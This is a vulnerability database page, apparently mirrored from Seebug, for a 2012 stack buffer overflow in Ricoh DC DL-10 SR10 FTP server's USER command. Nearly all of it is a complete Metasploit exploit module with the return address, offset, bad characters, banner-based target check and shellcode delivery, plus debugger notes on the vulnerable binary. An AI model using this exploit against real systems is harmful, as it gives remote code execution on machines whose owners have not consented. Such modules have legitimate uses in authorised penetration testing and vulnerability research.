Lucene search
K

Ricoh DC DL-10 SR10 FTP USER Command Buffer Overflow"

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 31 Views

Ricoh DC DL-10 SR10 FTP USER Command Buffer Overflow vulnerability allows remote code execution under the context of the user. By supplying a long string of data to the USER command, a stack-based buffer overflow is triggered. The server must be configured with a log file name to exploit the vulnerability

Code

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Ricoh DC DL-10 SR10 FTP USER Command Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in Ricoh DC's DL-10 SR10 FTP
				service.  By supplying a long string of data to the USER command, it is
				possible to trigger a stack-based buffer overflow, which allows remote code
				execution under the context of the user.

					Please note that in order to trigger the vulnerability, the server must
				be configured with a log file name (by default, it's disabled).
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Julien Ahrens', #Discovery, PoC
					'sinn3r'         #Metasploit
				],
			'References'     =>
				[
					['OSVDB', '79691'],
					['URL', 'http://secunia.com/advisories/47912'],
					['URL', 'http://www.inshell.net/2012/03/ricoh-dc-software-dl-10-ftp-server-sr10-exe-remote-buffer-overflow-vulnerability/']
				],
			'Payload'        =>
				{
					# Yup, no badchars
					'BadChars' => "\x00",
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "process",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows XP SP3',
						{
							'Ret'    => 0x77c35459,  #PUSH ESP; RETN (msvcrt.dll)
							'Offset' => 245
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Mar 1 2012",
			'DefaultTarget'  => 0))

		# We're triggering the bug via the USER command, no point to have user/pass
		# as configurable options.
		deregister_options('FTPPASS', 'FTPUSER')
	end

	def check
		connect
		disconnect
		if banner =~ /220 DSC ftpd 1\.0 FTP Server/
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		buf = ''
		buf << rand_text_alpha(target['Offset'], payload_badchars)
		buf << [target.ret].pack('V')
		buf << make_nops(20)
		buf << payload.encoded

		print_status("#{rhost}:#{rport} - Sending #{self.name}")
		connect
		send_user(buf)
		handler
		disconnect
	end
end

=begin
0:002> lmv m SR10
start    end        module name
00400000 00410000   SR10       (deferred)             
    Image path: C:\Program Files\DC Software\SR10.exe
    Image name: SR10.exe
    Timestamp:        Mon May 19 23:55:32 2008 (483275E4)
    CheckSum:         00000000
    ImageSize:        00010000
    File version:     1.0.0.520
    Product version:  1.0.0.0
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Ricoh Co.,Ltd.
    ProductName:      SR-10
    InternalName:     SR-10
    OriginalFilename: SR10.EXE
    ProductVersion:   1, 0, 0, 0
    FileVersion:      1, 0, 0, 520
    PrivateBuild:     1, 0, 0, 520
    SpecialBuild:     1, 0, 0, 520
    FileDescription:  SR-10


Note: No other DC Software dlls are loaded when SR-10.exe is running, so the most
stable component we can use is msvcrt.dll for now.
=end


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation